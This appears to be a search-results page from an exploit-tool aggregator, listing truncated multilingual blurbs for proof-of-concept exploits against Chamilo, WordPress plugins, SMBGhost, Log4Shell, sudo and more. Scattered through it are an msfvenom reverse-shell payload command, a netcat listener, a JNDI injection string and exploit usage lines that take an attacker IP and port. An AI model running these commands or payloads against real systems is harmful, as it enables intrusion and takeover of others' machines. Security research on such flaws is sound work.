34845 matches found
CVE-2023-4220
使用Web Shell对Chamilo LMS CVE-2023-4220进行远程代码执行 本项目自动利用Chamilo LMS中的远程代码执行漏洞(CVE-2023-4220)。通过Web Shell,该工具可自动化利用该漏洞,从而控制受影响的Chamilo LMS实例。 功能: 自动化利用CVE-2023-4220 Web Shell集成 演示漏洞的影响 用法/示例 root@kitploit: ./exploit.py -t http://example.com 截图 免责声明: 此工具仅用于教育目的,并帮助安全专业人员理解和缓解漏洞。未经许可擅自用于系统是非法且不道德的。 🔗 链...
DedSec
DedSec 项目 官方网站 DedSec 项目 要查看完整希腊语版本,请继续点击此处。 DedSec 项目 是一个为 Android + Termux 构建的广泛教育工具包,它在一个地方汇集了许多脚本、实用程序、本地 Web 界面和实践环境。其目的是帮助用户了解工具的工作原理,理解防御意识,并从一个单一项目中组织常见的 Termux 工作流程。 目录 如何安装和设置 DedSec 项目 网站帮助路径 设置与配置 探索工具包 开发者基础 网络工具 个人信息收集 虚假页面 游戏 其他工具 未分类 仅限赞助者 ButSystem.py 专属 联系我们与致谢 免责声明与使用条款 如何安装和设置...
CVE-2015-8351
gwollebuster 此脚本用于利用 WordPress 旧版插件 gwolle 的漏洞 使用方法: ./gwollebuster.py 第一个参数 = 安装了 gwolle 的 WordPress 目标 URL 第二个参数 = 你的 IP 第三个参数 = 用于反向 shell 的监听端口 示例: ./gwollebuster.py http://vulnpress.com/ 192.168.1.5 1234 此脚本将生成 PHP 反向 shell 脚本并绑定简易服务器, 因此你需要在第一个终端打开两个新终端并监听 netcat,然后使用 curl 命令发起请求,...
CVE-2024-52402
🚀 Exploit para CVE-2024-52402: Plugin WordPress Exclusive Content Password Protect -un -p 🛠️ Opciones...
ForgottenButNotGone
Olvidados pero no desaparecidos Este repositorio contiene scripts de prueba de concepto para las vulnerabilidades presentadas en la charla "Olvidados pero no desaparecidos: RCE no autenticados y LPE en servicios Linux heredados" de Black Hat USA 2026 y DEF CON 34. CVE-2026-28372 Escalada de...
CVE-2020-0796
CVE-2020-0796 CVE-2020-0796 解释与漏洞研究,适用于初学者的 CENG325 学期项目 如何利用? 用于反向 Shell 的用户载荷生成: msfvenom -a x64 --platform windows -p windows/x64/shellreversetcp LHOST= LPORT=5555 -f python 监听端口: nc -lvnp 5555 漏洞利用代码执行: python3 exploit.py -ip TARGETIP PoC 仓库 https://github.com/chompie1337/SMBGhostRCEPoC...
CVE-2023-46818
CVE-2023-46818 PoC 这是由 Egidio Romano(又名 EgiX)在此处提供的 PoC 的 Python 实现。该漏洞利用工具将为您弹出一个 WebShell;如需获得完全交互式 shell,请执行一条命令并向自己发送一个反向 shell。 用法 root@kitploit: python exploit.py http://localhost username password 免责声明 本 PoC 的作者对任何人的行为不承担任何责任,请仅在 CTF 或演示中使用此漏洞利用工具。 — Vulner(又名 Abumalik)...
CVE-2018-10933
libSSH-Authentication-Bypass Spawn to shell without any credentials by using CVE-2018-10933 Exploit-DB : https://www.exploit-db.com/exploits/45638 Information about CVE-2018-10933 by libSSH : https://www.libssh.org/security/advisories/CVE-2018-10933.txt Bugfix Release by libSSH :...
CVE-2022-0944_RCE_POC
CVE-2022-0944 针对 SQLPad RCE CVE-2022-0944 的概念验证利用,可在攻击者 PC 上实现带反弹 Shell 的远程代码执行(RCE)。 用法 root@kitploit: usage: script.py URL IP PORT positional arguments: URL URL to SQLPad IP Listener host address for reverse shell PORT Listener port for reverse shell 示例: root@kitploit: 触发利用 ./script.py...
CVE-2022-33891
CVE-2022-33891 - Vulnerabilidad de Inyección de Comandos en Apache Spark ⚠️ Solo con fines educativos y de investigación de seguridad autorizada Autores del Exploit Original Muy agradecido al autor original del PoC AkbarTrilaksana Descripción La interfaz de usuario de Apache Spark ofrece la...
metasploitable2-vsftpd-exploitation
Metasploitable 2 - vsFTPd 2.3.4 漏洞利用实验室 概述 本项目演示了针对一个故意存在漏洞的机器 Metasploitable 2 的渗透测试工作流程。 目标在于识别、利用并分析 FTP 服务中的一个已知漏洞,最终实现 root 级别访问 并评估安全影响。 实验环境搭建 攻击机: Ubuntu(虚拟机) 目标机: Metasploitable 2(虚拟机) 网络配置: 仅主机网络(192.168.56.0/24) 目标验证 验证了目标系统及其网络配置: root@kitploit: whoami hostname ifconfig 连通性检查...
CVE-2021-3156
CVE-2021-3156 简介 此仓库仅供学习目的创建。该项目包含一些用于研究 sudo Baron Samedit 漏洞及其利用的工具。 感谢 Qualys 团队 发现了该漏洞,感谢 Worawit 和 0xdevil 提供的精彩分析文章。 使用 Docker 目录包含一个用于研究漏洞部分内容的 Docker 容器: 使用 make all 启动容器。 使用 make root 以 root 身份打开 shell。 使用 make user 以普通用户身份打开 shell。 注意,该漏洞利用在 Docker 容器上无法生效,至少在 Mac OS Big Sur 配合...
CVE-2025-24893-POC
CVE-2025-24893 Instalar bun: root@kitploit: curl -fsSL https://bun.com/install | bash Para instalar dependencias: root@kitploit: bun install Para ejecutar: root@kitploit: bun run CVE-2025-24893.ts Este proyecto fue creado usando bun init en bun v1.2.19. Bun es un runtime de JavaScript rápido y to...
CVE-2020-15227
CVE-2020-15227 ¡DESCARGO DE RESPONSABILIDAD! No asumo ninguna responsabilidad por su uso en un entorno real, así que por favor NO lo hagas. Esta cosita es solo para demostrar y probar cosas para los administradores de sistemas. Hice este exploit según la publicación de un CVE de David Grudl el...
CVE-2021-44228-PoC
CVE-2021-44228 PoC CVE-2021-44228 的 PoC。 该项目仅用于教育目的。 漏洞利用服务器 该项目创建了两个服务器:http 和 ldap。两者都是利用工作所必需的。指定的 Java 文件被编译,服务器在 Dockerfile 中启动。有效载荷会展示给用户——它必须被传递给易受攻击的应用程序。 示例有效载荷: root@kitploit: $jndi:ldap//127.0.0.1:1389/a 如何运行? 绑定 shell root@kitploit: ./poc.sh -i 127.0.0.1 -l 1234 -t 8080 -e bind...
RemoteMouse-3.008-RCE
CVE-2021-35448 - Remote Mouse 利用工具 描述 此利用工具针对 Remote Mouse(原名 WiFi Mouse)应用程序中的 CVE-2021-35448 漏洞。 POC CVE-2021-35448.webm 使用方法 基本语法 root@kitploit: python3 CVE-2021-35448.py -t OPTIONS 选项 -t, --target:目标 IP 地址(必填) -p, --payload:自定义执行的命令 -r, --reverse:反向 Shell,格式为 IP:PORT -l, --http:本地 HTTP 服务器,格式...
cve-2019-2215
CVE-2019-2215 Pixel 2 和 Pixel 2 XL 的临时 Root(利用 CVE-2019-2215) (基于 Google Project Zero 的 Jann Horn 和 Maddie Stone 的 概念验证) 概述 演示一种仅通过内核内存读/写实现权限提升的攻击,最终获得临时 root shell。 该工具在 Google Pixel 2 / Pixel 2 XL(walleye/taimen)设备上运行,系统镜像为 2019 年 9 月的 QP1A.190711.020,内核版本-BuildID 4.4.177-g83bee1dc48e8 。...
CVE-2022-24637
CVE-2022-24637 Open Web Analytics 1.7.3 - 远程代码执行利用工具 v2 针对 Open Web Analytics 1.7.3 - RCE 的有效利用工具,集成了 pentestmonkey 的 php 反弹 shell,修复了无法在缓存中找到用户的问题。 原始利用代码可在 此处 找到。 使用方式 在 php-reverse-shell.php 文件中填写攻击机 IP 和端口,然后使用 -u 参数指定目标漏洞 URL 运行 exploit.py。 root@kitploit: python3 exploit.py -u...
CVE-2019-0708-Windows
CVE-2019-0708-Windows 这篇文章将分享Windows远程桌面服务漏洞(CVE-2019-0708),并详细讲解该漏洞及防御措施。作者作为网络安全的小白,分享一些自学基础教程给大家,主要是关于安全工具和实践操作的在线笔记,希望您们喜欢。同时,更希望您能与我一起操作和进步,后续将深入学习网络安全和系统安全知识并分享相关实验。总之,希望该系列文章对博友有所帮助,写文不易,大神们不喜勿喷,谢谢! 对应博客: 网络安全自学篇 五十八.Windows漏洞利用之再看CVE-2019-0708及Metasploit反弹shell 网络安全自学篇...
traitor
Traitor Automatically exploit low-hanging fruit to pop a root shell. Linux privilege escalation made easy! Traitor packages up a bunch of methods to exploit local misconfigurations and vulnerabilities in order to pop a root shell: Nearly all of GTFOBins Writeable docker.sock CVE-2022-0847 Dirty...